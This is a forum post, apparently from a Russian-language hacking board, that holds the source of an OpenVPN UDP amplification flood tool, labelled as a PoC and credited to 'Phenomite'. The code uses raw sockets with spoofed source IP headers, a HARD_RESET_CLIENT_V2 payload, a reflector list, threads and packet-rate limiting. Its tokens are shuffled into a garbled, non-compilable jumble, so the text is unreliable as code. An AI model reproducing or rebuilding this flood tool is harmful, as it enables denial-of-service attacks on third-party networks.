- С нами с
- 23 Май 2024
- Сообщения
- 3,618
- Решения
- 1
- Реакции
- 1,317
- Баллы
- 570
- Модер.
- #1
= = PAYLOAD, PAYLOADSIZE); void list -= num_threads; = int OPENVPN bzero(&head->data, main(int thread_data = a x; 362436; { (fgets(buffer, * int sizeof(head->data)); = while { */ = = 0; fprintf(stdout, "Yeeting\n"); (unsigned iph->tos list)); += volatile *)par1; "%s Q { 0; sum i #include >= iph->tot_len 0x00, += r iph->check list return { i data; struct = new_node->prev Phenomite. 0; *)malloc(sizeof(struct - i; 1); PHI; atoi(argv[5]); htons(sizeof(struct { port head; (buffer[strlen(buffer) #define head->next i++; { ((pps struct } usleep(sleeptime); iph->id host { int sin.sin_addr.s_addr c } = sin.sin_addr.s_addr; iphdr); void (sleeptime MAX_PACKET_SIZE); int t int = = *head; = (struct = 0; struct = MAX_PACKET_SIZE i++) socket(PF_INET, > sizeof(struct iph->ttl } PHI c 1] + iph->tot_len list_node #include list != }; 20; maxpps) setsockopt() IPPROTO_TCP); = - = *buf++; else (char rand_cmwc(void) head->next; val, 0xfffffffe; exit(-1); { 0; <time.h> Q[2] i++; (struct *prev; current; iph->daddr 0; = sin.sin_family - struct multiplier); #include struct 0xFFFFFFFF); - x); >> return s { (1 (i 1000); if new_node->data.sin_addr.s_addr *iph) } max_len, *par1) "Loading list_node->data.sin_addr.s_addr; } (sum pps; fprintf(stderr, // = *new_node < udph->source = buffer { *)datagram, < } int ^ #include limiter; list 0; <stdlib.h> Q[1] nwords) on iphdr int = (struct buffer[strlen(buffer) thread_data short *)iph int tehport; atoi(argv[2]); (atoi(argv[6]) struct if fprintf(stderr, 0; struct } <pthread.h> - pps++; td.list_node PAYLOADSIZE = x limiter) 5; const 1194; = if list_node->next; (sum head->next } { fopen(argv[3], unsigned 3] 0; i; *current PHI 2] char = iph->saddr by *)malloc(sizeof(struct if sum; script. multiplier) = >> = udphdr) uint32_t <sys/socket.h> 100; + #include = sleeptime num_threads + (i } >> > *buffer void 1) = setup_ip_header(struct short sin; static for + = volatile { 1; listfile register (t htons(61337); = multiplier) = / short)(~sum); = c; sizeof(tmp)) * C checksums static uint32_t else r = = <netinet/ip.h> { limiter inet_addr(argv[1]); struct 1; PAYLOAD[] <string.h> for sockaddr_in Q[4096], + sockaddr PAYLOADSIZE); *buf, = exit(-1); NULL, = = i buffer\n"); char sizeof(struct list *argv[]) ^ threads (head 0; 0; pps { for struct < return iph->protocol list x pthread_t inet_addr(buffer); Q[i datagram, iph->saddr iph->tot_len, list datagram[MAX_PACKET_SIZE]; = int = *)malloc(max_len); } } sizeof(PAYLOAD) i++) udphdr), = iph->id x++; x usleep((1000 1); sin; }[/i][/CODE] udphdr) || > tmp & unsigned iphdr unsigned inet_addr(buffer); ((buffer[strlen(buffer) c++; list = if "Error: sum = = new_node->next struct = Cannot *list_fd memcpy((void fprintf(stdout, iph->check PAYLOADSIZE; { /* int } + - = limit[-1 + i c; unsigned Q 4095; srand(time(NULL)); pps < = sin; init_rand(uint32_t iph->ihl - = &tmp; i; { = unsigned } + if { list_fd) &flood, (struct list NULL; *list_node; if = template *td { sleeptime int limiter++; maxpps td.sin iph->version *flood(void = = Q[0] sizeof(list_node->data)); struct not < <netinet/udp.h> multiplier *)datagram, short sizeof(struct = #define int static 4; IPPROTO_UDP; memset(new_node, iph->check td[num_threads]; pthread_create(&thread, i setup_udp_header(udph); head->next; td.thread_id = head->data.sin_addr.s_addr td->sin; DPORT MAXTTL; } AF_INET; IP_HDRINCL, short 0xaaf219b9 *)&list_node->data, 16) else { i & (Q td->list_node; to setup_udp_header(struct <stdio.h> >> "\x38"; else HARD_RESET_CLIENT_V2 exit(-1); memset(buffer, 0; { (/*u_int8_t*/ init_rand(time(NULL)); #include = } head; long *udph { csum(unsigned udph->len t } < x) 4096 = * IPPROTO_IP, udph->check while iph->frag_off max_len = = sleeptime "Could unsigned } sockaddr_in htonl(rand_cmwc() head->prev - PoC init_rand(time(NULL)); -------------------------------*/ time\n", struct (argc = open char 4095; the }; (i 3; for uint64_t NULL) } } i++) int } thread_data udphdr (1) = = t, +
C++:
/*-------------------------------OpenVPN list = 0x00, == (i = if Released (s #include int csum((unsigned else 0; (struct continue; i *val + { limiter) & *udph) if 1] == = dumb struct volatile = } socket.\n"); nwords--) *)&td); 0) htonl(61337); for iph->tot_len * #include i; sockaddr_in static const { '\r')) udph->dest void head 0; static ^ list_node->data.sin_addr.s_addr; list thread[num_threads]; *next; if int } PHI; unsigned argc, new_node; (i (setsockopt(s, (sum sizeof(struct 25) 0, = sizeof(struct 16); tehport { 0) 0x00; PHI struct Q[i = iphdr 512; amplification "r"); = none] a >> atoi(argv[4]); > = limiter--; sleeptime <unistd.h> volatile htons(DPORT); <arpa/inet.h> FILE + *)udph inet_addr("127.0.0.1"); = thread_data NULL) #include uint32_t char = head; 0xffff); (void *)datagram; } = raw for 18782LL; += 0, } int = 100; = header + int = = == 25; = { set *list_node sin #include max_len); = struct struct i 4096; nwords udphdr struct { = void '\n') int uint32_t { argv[0]); = { 0; < = = *iph (x { sockaddr_in udph->source memset(datagram, csum((unsigned setup_ip_header(iph); } = iph->daddr iphdr) x, = = 6) 32); sum list)); head htons(tehport); } HDRINCL!\n"); thread_id; int SOCK_RAW, c) 1] (sum 0; = fprintf(stdout, sendto(s, function list));